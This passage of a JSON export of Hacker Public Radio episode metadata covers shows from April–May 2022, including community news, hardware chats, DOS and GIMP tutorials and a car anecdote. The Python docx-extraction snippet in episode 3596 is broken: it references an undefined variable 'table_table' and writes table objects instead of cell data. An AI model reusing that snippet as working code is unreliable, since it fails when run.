                                                            This is the follow up to episode 3543. HPR host takov751 had some things to say and I responded.

                                                            \n

                                                            If you have any topic ideas for a show in this type of format, let me know or post a show yourself.

                                                            ","hostid":399,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"browsers","version":0,"downloads":0,"valid":1}, {"id":3584,"date":"2022-04-28","title":"The collective history of RAID controller brands","duration":1074,"summary":"The story of Raid cards 1999 to present","notes":"

                                                            The market segment of RAID adapters has a long history and tradition, and has undergone gradual concentration, followed by upstream mergers of the owning corporations - a feeding frenzy of sorts, among the semiconductor manufacturers.

                                                            \n

                                                            https://support.fccps.cz/industry/RAID_history/index.htm

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HBA,Raid,Raid card,Mylex,Adaptec","version":0,"downloads":0,"valid":1}, {"id":3585,"date":"2022-04-29","title":"Freedom of speech in open source, Part 2.","duration":793,"summary":"Freedom has a cost.","notes":"

                                                            Check out the first episode of Freedom of speech in open source

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Free Speech","version":0,"downloads":0,"valid":1}, {"id":3586,"date":"2022-05-02","title":"HPR Community News for April 2022","duration":3986,"summary":"HPR Volunteers talk about shows released and comments posted in April 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Lee, \n Sarah.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3565Fri2022-04-01Heavy Hacking down in the quarry. timttmy
                                                            3566Mon2022-04-04HPR Community News for March 2022HPR Volunteers
                                                            3567Tue2022-04-05What is NVMe™ and why is it important?JWP
                                                            3568Wed2022-04-06PopKorn Episode 2: Programming, Mathematics, and Asymmetric LiteracyBlacKernel
                                                            3569Thu2022-04-07Linux Inlaws S01E53: Rust Marketingmonochromec
                                                            3570Fri2022-04-08The FilesystemAhuka
                                                            3571Mon2022-04-11The Meatball MysteryWindigo
                                                            3572Tue2022-04-12More about NVMeJWP
                                                            3573Wed2022-04-13Home Coffee Roasting, part 2dnt
                                                            3574Thu2022-04-14Local Talking NewspapersLee
                                                            3575Fri2022-04-15An Edinburgh BletherDave Morriss
                                                            3576Mon2022-04-18First impressions of Ubuntu 22.04 as a daily driver.knightwise
                                                            3577Tue2022-04-19Hello and how I got into techSarah
                                                            3578Wed2022-04-20Linux Inlaws S01E54: Electronic Freedom Never Mind the Civil Restmonochromec
                                                            3579Thu2022-04-21PINN is not NOOBSArcher72
                                                            3580Fri2022-04-22RAW imagesAhuka
                                                            3581Mon2022-04-25My daily Linux driver.knightwise
                                                            3582Tue2022-04-26Rolling a new characterTuula
                                                            3583Wed2022-04-27takov751 and dnt talk about browsersdnt
                                                            3584Thu2022-04-28The collective history of RAID controller brandsJWP
                                                            3585Fri2022-04-29Freedom of speech in open source, Part 2.Some Guy On The Internet
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 41 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 10 comments on\n7 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2881\n(2019-08-19) \"Automatically split album into tracks in Audacity\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nArcher72 on 2022-04-25:\n\"And now I know, and will forget again\"

                                                              \n
                                                            • hpr3378\n(2021-07-14) \"A bit of my experience with Starlink internet service\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nWindigo on 2022-04-06:\n\"Congratulations!\"

                                                              \n
                                                            • hpr3534\n(2022-02-17) \"Vernier caliper\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nKevin O'Brien on 2022-04-16:\n\"Taking me back\"

                                                              \n
                                                            • hpr3554\n(2022-03-17) \"Guide to the Science and Technology Section of Bitchute\"\nby Mechatroniac.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndnt on 2022-04-01:\n\"that motor\"

                                                              \n
                                                            • hpr3559\n(2022-03-24) \"Linux Inlaws S01E52: The Zig Project\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2022-04-18:\n\"The nitty-gritty of US non-profits\"
                                                              • \n
                                                              • \nComment 2:\nclacke on 2022-04-18:\n\"Re: The nitty-gritty of US non-profits\"

                                                              \n
                                                            • hpr3563\n(2022-03-30) \"Home Coffee Roasting, part 1\"\nby dnt.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nClaudioM on 2022-04-01:\n\"Enjoyed this Episode while Brewing my Morning Coffee :-)\"

                                                              \n
                                                            • hpr3564\n(2022-03-31) \"Removing EXIF data from an image\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nClaudioM on 2022-04-01:\n\"Thanks for the Application Reminder!\"
                                                              • \n
                                                              • \nComment 3:\nXoke on 2022-04-01:\n\"My troubles with EXIF\"
                                                              • \n
                                                              • \nComment 4:\nKevin O'Brien on 2022-04-16:\n\"Orientation in Android\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 31 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr3565\n(2022-04-01) \"Heavy Hacking down in the quarry. \"\nby timttmy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJeremiah Schroeder on 2022-03-28:\n\"Couldn't agree more\"
                                                              • Comment 2:\nK. Olin on 2022-03-28:\n\"Great show\"
                                                              • Comment 3:\nClayton Miner on 2022-03-28:\n\"This brings back memories\"
                                                              • Comment 4:\nWindigo on 2022-04-02:\n\"Thanks for the contribution\"
                                                              • Comment 5:\njezra on 2022-04-05:\n\"I started falling asleep\"

                                                              \n
                                                            • hpr3568\n(2022-04-06) \"PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy\"\nby BlacKernel.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-04-08:\n\"Public Service Announcement\"

                                                              \n
                                                            • hpr3570\n(2022-04-08) \"The Filesystem\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nzen_floater2 on 2022-04-08:\n\"Squirrel applause\"
                                                              • Comment 2:\nMiguel on 2022-04-08:\n\"Good blast from the past\"
                                                              • Comment 3:\nKevin O'Brien on 2022-04-08:\n\"Thank you\"
                                                              • Comment 4:\nSome Guy On The Internet on 2022-04-13:\n\"I'm not old enough.\"
                                                              • Comment 5:\nKevin O'Brien on 2022-04-14:\n\"RAID on DOS\"

                                                              \n
                                                            • hpr3571\n(2022-04-11) \"The Meatball Mystery\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nkinghezy on 2022-04-12:\n\"Meatballs and such\"
                                                              • Comment 2:\nWindigo on 2022-04-14:\n\"Thanks\"

                                                              \n
                                                            • hpr3572\n(2022-04-12) \"More about NVMe\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-04-13:\n\"Thanks for the information.\"

                                                              \n
                                                            • hpr3574\n(2022-04-14) \"Local Talking Newspapers\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2022-04-14:\n\"Enlightening episode\"
                                                              • Comment 2:\nbrian-in-ohio on 2022-04-15:\n\"good show\"
                                                              • Comment 3:\nelmussol on 2022-04-24:\n\"elderly relatives et al\"
                                                              • Comment 4:\nelmussol on 2022-04-24:\n\"addendum\"

                                                              \n
                                                            • hpr3575\n(2022-04-15) \"An Edinburgh Blether\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-04-15:\n\"Declassified\"
                                                              • Comment 2:\nbrian-in-ohio on 2022-04-15:\n\"show\"

                                                              \n
                                                            • hpr3576\n(2022-04-18) \"First impressions of Ubuntu 22.04 as a daily driver.\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-04-18:\n\"Yikes!\"
                                                              • Comment 2:\nZen_floater2 on 2022-04-19:\n\"Your review\"
                                                              • Comment 3:\nKen Fallon on 2022-04-28:\n\"How do you pay for software ?\"

                                                              \n
                                                            • hpr3577\n(2022-04-19) \"Hello and how I got into tech\"\nby Sarah.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2022-04-19:\n\"welcome\"
                                                              • Comment 2:\nmcnalu on 2022-04-19:\n\"Welcome\"
                                                              • Comment 3:\nLurking Prion on 2022-04-23:\n\"Welcome!\"
                                                              • Comment 4:\nKevin O'Brien on 2022-04-24:\n\"Great show\"
                                                              • Comment 5:\nSarah on 2022-04-25:\n\"@Kevin O'Brien\"
                                                              • Comment 6:\nKevin O'Brien on 2022-04-25:\n\"@Sarah\"

                                                              \n
                                                            • hpr3578\n(2022-04-20) \"Linux Inlaws S01E54: Electronic Freedom Never Mind the Civil Rest\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbittin on 2022-04-11:\n\"More Europe Centric\"
                                                              • Comment 2:\nzen_floater2 on 2022-04-24:\n\"centralized federal power\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-April/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Reminders about show submission

                                                            \n

                                                            Show spacing

                                                            \n

                                                            Please remember that we normally ask that shows submitted by a host be spaced out by at least two weeks - unless the queue is extremely short of shows of course!

                                                            \n

                                                            Commas between tags

                                                            \n

                                                            A number of shows in recent weeks have been arriving with tags lists missing the requested commas. Hosts are requested to use these to separate tags, otherwise it can be difficult to work out where one tag ends and the next begins. How to interpret the following list, for example:

                                                            \n
                                                            dog fish custard
                                                            \n

                                                            Does it mean: 'dog fish, custard', 'dog, fish custard' or 'dog,fish,custard'?

                                                            \n

                                                            Host names/handles or series names as tags

                                                            \n

                                                            Next, a recommendation about the host name/handle or the series name as a tag. Tags are intended to help with finding shows.

                                                            \n

                                                            We have another way of finding shows by host; the host name or handle is a link at the top of the show page which can be clicked to go to a list of all of the shows ever submitted by that host.

                                                            \n

                                                            Also, if a show is part of a series, clicking on the series title on the show page will take you to all the shows in that series.

                                                            \n

                                                            So, two tags best avoided are: the host name and the series name.

                                                            \n

                                                            Use of Explicit only covers audio

                                                            \n

                                                            Be aware that the selection made during the submission of a new show between 'Explicit' and 'Clean' only relates to the audio. Due to the world-wide distribution of shows we need to be sensitive to potential offense caused by swearwords and the like in the notes themselves. We would appreciate all HPR hosts being aware of these issues.

                                                            \n

                                                            Please do not add your own intro and outro

                                                            \n

                                                            A final reminder: it was decided via discussion on the HPR mailing list that we would automate the addition of the intro and outro to show audio. We would appreciate it if hosts did not add these themselves because work is then required to remove them before preparing the show for release.

                                                            \n

                                                            Developments on HPR

                                                            \n

                                                            Some work has been going on behind the scenes to improve the workflow which handles incoming shows and adds them to the database.

                                                            \n

                                                            We have added a set of state values which indicate the processing flow so that people and software can track progress.

                                                            \n

                                                            The calendar page has been adjusted to show some of these state mnemonics in addition to the Locked and Processing indicators we have had before.

                                                            \n

                                                            The status mnemonics likely to be seen are:

                                                            \n
                                                              \n
                                                            • SHOW_SUBMITTED - upload complete
                                                            • \n
                                                            • METADATA_PROCESSED - shownotes processed to html
                                                            • \n
                                                            • SHOW_POSTED - show in the database
                                                            • \n
                                                            • MEDIA_TRANSCODED - audio all generated
                                                            • \n
                                                            • UPLOADED_TO_IA - on the IA and visible
                                                            • \n
                                                            • UPLOADED_TO_RSYNC_NET - archived on rsync.net
                                                            • \n
                                                            \n

                                                            The steps required to move from one state to another have been streamlined as much as possible but they still require the intervention of the Janitors, so there is no guarantee about the time between arrival and the availability of shows on the HPR server or archive.org.

                                                            \n

                                                            Access to HPR from Argentina

                                                            \n

                                                            The problems reported in the last Community News have now been resolved.

                                                            \n

                                                            Older HPR shows on archive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform.

                                                            \n

                                                            During the uploading of shows in the range 1-870 we uploaded all the audio versions: wav, ogg, mp3, etc. We also uploaded any other files such as pictures or documentation. We do this for new shows as well.

                                                            \n

                                                            The reason for this is to make self-contained shows on the Internet Archive, where previously such shows referred to the HPR server for various components.

                                                            \n

                                                            The shows that had been uploaded during 2017 in the range 871 to 2429 did not include all these files. At that point we only had the mp3 versions of the audio, and these were what were uploaded, along with the notes.

                                                            \n

                                                            During phase 1 of the upload process a method of turning the mp3 audio into all of the other formats was included, and this method is now being used to re-process shows 871 to 2429.

                                                            \n

                                                            Statistics

                                                            \n

                                                            We will keep a record of progress here as we re-upload shows numbered between 871 and 2429:

                                                            \n
                                                              \n
                                                            • Re-uploads done so far: 131
                                                            • \n
                                                            • Shows remaining to be done: 1428
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3587,"date":"2022-05-03","title":"20220406_UDM","duration":766,"summary":"I talk about my Home Router U D M from ubiquity","notes":"

                                                            My firewall rules!

                                                            \n

                                                            https://rmccurdy.com/stuff/.iptables.txt

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"routers,firewalls,wireless,home networking","version":0,"downloads":0,"valid":1}, {"id":3588,"date":"2022-05-04","title":"Linux Inlaws S01E55: Get yer boots on for a fresh look at init systems","duration":2779,"summary":"Martin and Chris discuss what happens when you turn on a computer (preferably running Linux)","notes":"

                                                            In this episode, Martin and Chris discuss init systems and Chris outs\nhimself as a systemd fan boy (Devuan followers take note :-). Even Linux and\nother FLOSS OS geeks not interested in what happens when you flick the power\nswitch on a computer may find this episode (vaguely) interesting as some light\nis also shed on the philosophy of the different system architectures and their\nhistory (Ever wanted to know what an /360 IPL really is? Then stay tuned...).\nDisclosure: The following text may resort to regular expressions to keep\nthings concise and simple. Some of the PCRE-challenged readers may take\noffence - you have been warned.

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"init, SysVInit, Upstart, systemd, GRUB, Unix philosophy, Hello Magazine","version":0,"downloads":0,"valid":1}, {"id":3589,"date":"2022-05-05","title":"Sample of my microphones","duration":434,"summary":"Microphones I have around the apartment","notes":"

                                                            Microphones around the apartment

                                                            \n

                                                            Tozo T9

                                                            \n

                                                            https://www.amazon.com/TOZO-Environmental-Cancellation-Cancelling-Headphones/dp/B09G2ZN5FX

                                                            \n

                                                            Tozo T9 earbuds
                                                            \n\"Tozo

                                                            \n

                                                            Moto G Power

                                                            \n

                                                            Acer Aspire Slim

                                                            \n

                                                            Memorex?

                                                            \n
                                                              \n
                                                            • Bought at Office Depot
                                                            • \n
                                                            \n

                                                            Mpow HC6 USB Headset/3.5mm Computer PC On-Ear Office Headphones

                                                            \n

                                                            https://www.ebay.com/itm/402912231079

                                                            \n

                                                            Mpow Headset
                                                            \n\"Mpow

                                                            \n

                                                            Mobile Audio Recorder on F-droid

                                                            \n

                                                            https://f-droid.org/en/packages/com.github.axet.audiorecorder

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"microphones, headsets, bluetooth","version":0,"downloads":0,"valid":1}, {"id":3590,"date":"2022-05-06","title":"Directory Commands","duration":872,"summary":"More on DOS. This time it is Directory commands.","notes":"

                                                            As we saw in the last lesson, DOS uses directories to organize the files on your disks. That means we need to use directory commands to create a structure to store our files, and to find the files we have stored there. This tutorial takes us through the various commands you can use to do this.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, directory listing","version":0,"downloads":0,"valid":1}, {"id":3591,"date":"2022-05-09","title":"Small Flashlights","duration":675,"summary":"Stuff that goes in your pocket","notes":"

                                                            Just had my birthday got some lights

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Flashlight,usb,pocket device ","version":0,"downloads":0,"valid":1}, {"id":3592,"date":"2022-05-10","title":"A quick look at the Surface pro X","duration":1380,"summary":"Knightwise gives a quick overview of 3 months on the Surface pro X","notes":"

                                                            I talk about the Surface Pro X I got at the beginning of the year and what the pro's and cons of it are.
                                                            \nMore at www.knightwise.com
                                                            \nTwitter: twitter.com/knightwise

                                                            \n\n
                                                            \n

                                                            Added by Ken when posting

                                                            \n

                                                            \nFrom Wikipedia, the free encyclopedia\n

                                                            \n\n\n\n

                                                            The Surface Pro X is a 2-in-1 detachable tablet computer developed by Microsoft. It was developed alongside and was announced on 2 October 2019 alongside the Surface Pro 7 and Surface Laptop 3.[1] Updated hardware was announced alongside Surface Laptop Go and Surface accessories on October 1, 2020[2] and September 22, 2021.[3] The device starts at $899.99 USD / £849.99.[4][5]\n

                                                            The Surface Pro X comes with a Microsoft SQ1 or SQ2 ARM processor, which the company claimed has three times the performance of an x86 MacBook Air, whilst also having a 13-hour battery life. This is due to the increased power efficiency of ARM processors compared to traditional x86 processors.[1][6][7] Microsoft has previously used ARM processors in the discontinued Surface RT and Windows Phone devices.\n

                                                            Microsoft now offers a Wifi-only version of the device as announced at their Surface Event on September 22, 2021.[8]\n

                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"surface, windows, laptop, hardware, review","version":0,"downloads":0,"valid":1}, {"id":3593,"date":"2022-05-11","title":"Home office setup mouse shoulder and Auto Hot Key Scripts","duration":1371,"summary":"I talk about my issues and solutions for desk ergonomics","notes":"\n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ergonomic,back pain,health,fitness","version":0,"downloads":0,"valid":1}, {"id":3594,"date":"2022-05-12","title":"Peely-wally in Edinburgh","duration":4057,"summary":"MrX and Dave Morriss chatting about this and that","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n\n

                                                            We recorded this on Sunday April 24th 2022. This is effectively a continuation of the last show, since we found we had lots more to talk about!

                                                            \n

                                                            Note on the title: again we spoke about the Scots language on the show, so it seemed like a good idea to include more of it in the notes and so on.

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • Dampers (in relation to coal fires), a topic we discussed last time:\n
                                                            • \n
                                                            \n
                                                              \n
                                                            • PC issues:\n
                                                                \n
                                                              • Dave’s home-built desktop PC had another disk problem
                                                              • \n
                                                              • Running a SMART daemon (under SystemD) gives warnings of imminent disk problems
                                                              • \n
                                                              • HP Proliant MicroServer - an AMD-based machine sold in the 2010’s (?) by HP with a substantial discount. (Prices cited in the audio are probably not reliable!)
                                                              • \n
                                                              • Regarding the failed PSU mentioned last time, there was speculation about whether turning off at the mains every day is a good idea. MrX is inclined to think that it is not.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Remote-controlled plugs:\n
                                                                \n
                                                              • Dave used a set of Brennenstuhl plugs for a while until several of them were destroyed!
                                                              • \n
                                                              • Now has two Sonoff plugs which can be flashed with firmware and controlled with MQTT as part of a Smart Home
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Programming:\n
                                                                \n
                                                              • MrX has recently been writing a Bash script, and found it difficult to get back into it.
                                                              • \n
                                                              • Dave had written in DEC Pascal on a VAXCluster for many years, but can’t remember any of it any more.
                                                              • \n
                                                              • Discussion of Delphi, Borland C++
                                                              • \n
                                                              • Neither MrX nor Dave has used C very much
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Difficulty of producing HPR shows:\n
                                                                \n
                                                              • Pandemic effects on motivation
                                                              • \n
                                                              • Complications of working from home
                                                              • \n
                                                              • Happily the rate of contributions to HPR has been increasing in the past few months
                                                              • \n
                                                              • Adding pictures to shows still needs documentation
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Smart speakers:\n
                                                                \n
                                                              • MrX already had two Google Home devices and got a free Amazon Echo (with Alexa software) from his ISP.
                                                              • \n
                                                              • The Echo didn’t prove to be very useful as a means of listening to BBC radio, and the sign-up was intrusive.
                                                              • \n
                                                              • The Google Home devices are preferable; they give easier access to BBC Radio as well as services like Spotify.
                                                              • \n
                                                              • Dave is avoiding all such devices!
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Old computing equipment:\n
                                                                \n
                                                              • Dave has an old 132-column Anadex matrix printer with a Centronics interface in his attic - found recently when clearing it out.
                                                              • \n
                                                              • MrX remembered removable Diablo disks.
                                                              • \n
                                                              • Dave reminisced about writing software in Coral66 on a CTL Modular 1 computer in the 1970s, which also had removable disks.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Being back at work again:\n
                                                                \n
                                                              • MrX is now in the office twice a week
                                                              • \n
                                                              • The Scotland mask mandate has ended but many people are still wearing them
                                                              • \n
                                                              • People are catching SARS-CoV-2 at work, and particularly from children who are back at school, but vaccination means the effects tend to be milder.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Hayfever (seasonal allergies):\n
                                                                \n
                                                              • MrX is taking a 30C remedy (a remedy labeled 30C has been serially diluted 1:100 thirty times, so is extremely dilute)
                                                              • \n
                                                              • Dave still suffers from hayfever and takes Cetirizine through spring and summer
                                                              • \n
                                                              • Dave thinks he developed hayfever in the hot summer and drought of 1976 on a field course in Gloucestershire. (BBC News story: Could the ladybird plague of 1976 happen again?)
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Medical issues:\n
                                                                \n
                                                              • Rheumatoid arthritis - auto-immune origins
                                                              • \n
                                                              • Trigger finger (also known as stenosing tenosynovitis)
                                                              • \n
                                                            • \n
                                                            \n

                                                            Scots vocabulary

                                                            \n
                                                            \n
                                                            swither
                                                            \n
                                                            noun: A state of indecision or doubt, a pondering, hesitation, uncertainty.\n
                                                            \n
                                                            verb: To be in a state of uncertainty of purpose, to be perplexed about what to do or choose, be in two minds, to doubt, hesitate, dither.\n
                                                            \n

                                                            \n
                                                            \n
                                                            peely-wally (or peelie-wallie or peelie-wally)
                                                            \n
                                                            adjective: pale, wan and off-colour; insipid and colourless.\n
                                                            \n
                                                            \n

                                                            Links

                                                            \n\n\n\n\n\n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"conversation,Scots language,swither,peely-wally","version":0,"downloads":0,"valid":1}, {"id":3595,"date":"2022-05-13","title":"I am sure I changed my password last...???","duration":641,"summary":"Pilot episode. Change your password","notes":"

                                                            Pilot episode. Change your password. Leave me feedback but be gentle...or not

                                                            \n","hostid":405,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"password, cybersecurity,password1234","version":0,"downloads":0,"valid":1}, {"id":3596,"date":"2022-05-16","title":"Extracting text, tables and images from docx files using Python","duration":517,"summary":"In this episode, I describe how I used 2 python libraries to extract import data from docx files","notes":"

                                                            Tools to extract data from docx files:

                                                            \n
                                                              \n
                                                            1. docx2txt
                                                            2. \n
                                                            3. python-docx2txt
                                                            4. \n
                                                            5. python-docx
                                                            6. \n
                                                            \n

                                                            Code Snippets

                                                            \n
                                                            text = docx2txt.process(src, img_dest)\nwith open("data.txt", "wt") as f:\n    f.write(text)\n
                                                            \n
                                                            document = docx.Document(src)\ntables = document.tables\ndata = []\nfor table in tables:\n    table_data = []\n    for row in table.rows:\n        row_data = []\n        for cell in row.cells:\n            row_data.append(cell.text)\n        table_data.append(row_data)\n    data.append(table_table)\n\nfor i, table in enumerate(tables):\n    with open(f"{i}.csv", "wt") as f:\n        writer = csv.writer(f)\n        writer.writerows(table)\n
                                                            \n","hostid":300,"series":38,"explicit":0,"license":"CC-BY-SA","tags":"python,docx","version":0,"downloads":0,"valid":1}, {"id":3597,"date":"2022-05-17","title":"Good Idea Fairy Hunting","duration":570,"summary":"Tracing my security woes to the source using \"Good Idea Fairy Hunting\"","notes":"

                                                            This is the beginning of a series where I am going to discuss how to handle and tackle security as a people problem. We often lose sight of the trees for the forest and vice versa. Let's get out from behind our desks and go meet the people that need our help, even if they don't know it yet.

                                                            \n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"adminadmin,Lurking Prion,2022,cybersecurity,infosec","version":0,"downloads":0,"valid":1}, {"id":3598,"date":"2022-05-18","title":"Slackware 15 - 32 bit Operating System from day one.","duration":3756,"summary":"The PRO's of using a Slackware 32 bit operating system","notes":"\n","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"32bitOS, Security,Simplicity,Freedom,usercontrol","version":0,"downloads":0,"valid":1}, {"id":3599,"date":"2022-05-19","title":"Linux Inlaws S01E56: Slackware - A User's Perspective","duration":2676,"summary":"A discussion with a long-time Slackware user about this oldest Linux distro still alive","notes":"

                                                            In this episode Martin and Chris managed to ensnare a member of the Linux User Group\nFrankfurt (FraLUG) to talk about his history with Slackware, currently the\noldest Linux distribution still maintained. If you ever fancied to know more\nabout this grandfather of a distribution and its ins and outs, this is your\nshow. Plus we get to know more about one of Chris' well-kept secrets...

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Slackware, Linux from Scratch, sed, LILO, Peter Jackson","version":0,"downloads":0,"valid":1}, {"id":3600,"date":"2022-05-20","title":"Digitizing Photos","duration":791,"summary":"How to digitize old prints, slides, and negatives","notes":"

                                                            Today most photos are in digital formats, such as those you take with a smartphone, so they can be worked on with GIMP right away. But about old prints, slides, and negatives? Before you can work on them, they need to be digitized in some way. In this tutorial I look at some of the options you have for doing this

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, digitizing, scanning, photos","version":0,"downloads":0,"valid":1}, {"id":3601,"date":"2022-05-23","title":"Re: The Worst Car I Ever Had","duration":356,"summary":"In the 1980's, out of ignorance, I bought a real dud of a car","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            This episode was prompted by show 3542 from Beeza entitled The Worst Car I Ever Had. Here’s my story.

                                                            \n

                                                            I moved to Edinburgh in 1981, and before long bought myself a car - the first one I had owned. Before that I’d owned a series of Lambretta motor scooters and small to medium powered motorbikes. I’d been using a bicycle a lot after that.

                                                            \n

                                                            The car I bought was an oldish Peugeot 104, small, not very powerful, but it did the job. It was fine for driving around town and I used it to go and visit my parents in Norwich, England a few times, a long journey. I once drove north, up to Ullapool, a shorter drive, but it wasn’t the car for long journeys. Mostly it was used around town.

                                                            \n

                                                            As the Peugeot started to give me trouble I looked around for a replacement. I was visiting my parents and went to a car dealer in Norwich and was shown an Austin Maestro. It was newer than the Peugeot and seemed to be in good condition, so I bought it, trading in the Peugeot as I did so.

                                                            \n

                                                            The Maestro range was seen as reasonably good as far as I knew, but this one suffered from some design flaws, in my opinion.

                                                            \n

                                                            The car I bought was only a few years old and had a fairly low mileage. It was the HLE model with a 1.3 litre petrol engine. It had 4 doors and a hatch at the back giving access to a reasonable amount of luggage space (often such hatchbacks are called 5-door cars in the UK). All Maestro models had front-wheel drive, and this one had a manual gearbox. Automatic British cars were not common at that time.

                                                            \n

                                                            The Maestro had a bunch of economy features:

                                                            \n
                                                              \n
                                                            • a 4-speed gearbox with some economy gear ratios
                                                            • \n
                                                            • an econometer on the dashboard with green and red LEDs indicating how economically the car was being driven
                                                            • \n
                                                            \n

                                                            The Issues

                                                            \n

                                                            The Maestro seemed to have been designed to be driven as empty as possible. As soon as there were any passengers, or luggage, or both, the car was a nightmare to drive.

                                                            \n

                                                            There were models in the range that performed well, I think. Being passed by them on motorways and when trying to drive up any kind of hill showed this to be true. I’ve read that the standard 1.3 model was pretty good without the economy features, but I never experienced one.

                                                            \n

                                                            The problem was that the gap in gear ratios between the second and third gear was enormous, as if you’d accidentally skipped a gear. The fourth economy gear could only be resorted to on flat roads – or going downhill – or with a tail wind – or with the car completely empty.

                                                            \n

                                                            I was happy to find a link describing these problems when doing research for this show. The description of the car made me laugh, but also brought back memories of the extreme frustration I experienced with this car!

                                                            \n

                                                            So, I conclude that this particular Maestro was a failure. It might be the reason I got it at a good price; the previous owner was probably keen to get rid of it. Also the car dealer knew a sucker when he saw one, and I was that fool!

                                                            \n

                                                            I kept the car for a few years, did very few long journeys in it and eventually replaced it with a Vauxhall Astra Mark III, which was in a totally different league!

                                                            \n

                                                            Links

                                                            \n\n\n\n
